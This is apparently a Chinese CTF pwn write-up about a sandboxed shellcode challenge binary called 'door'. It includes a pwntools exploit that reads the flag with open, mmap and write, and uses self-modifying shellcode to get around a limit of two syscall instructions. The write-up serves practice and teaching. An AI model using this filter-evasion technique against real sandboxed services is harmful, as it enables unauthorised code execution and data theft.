Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

理解程序

checksec:

没开PIE IDA64打开:

开启了沙箱,可以使用shellcode

限制shellcode为0xf 0x5的次数只能为2次

对应汇编是syscall 也就是只能执行两次syscall

查看沙箱:

只允许使用写出的系统调用

思路是先open flag文件,然后利用mmap将flag的文件描述符映射到一个可读地址,再用write写出来

但是限制了只能执行两次shellcode,要想办法绕过

可以在读入字节: “\x90\x05”之前,再利用一条汇编改写0x05前面的字节为0xf,这样来分开

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./door')

shellcode = asm(shellcraft.open('flag'))
shellcode += asm(shellcraft.mmap(0x20000, 0x1000, 1, 1, 3, 0))
#flag's fd:3
shellcode += asm('''
mov rax, 1
mov rdi, 1
mov rsi, 0x20000
mov rdx, 0x40
mov byte ptr [rip], 0xf



''') + b'\x90\x05'
p.sendafter("MADE IN HEAVEN", shellcode)
p.interactive()

评论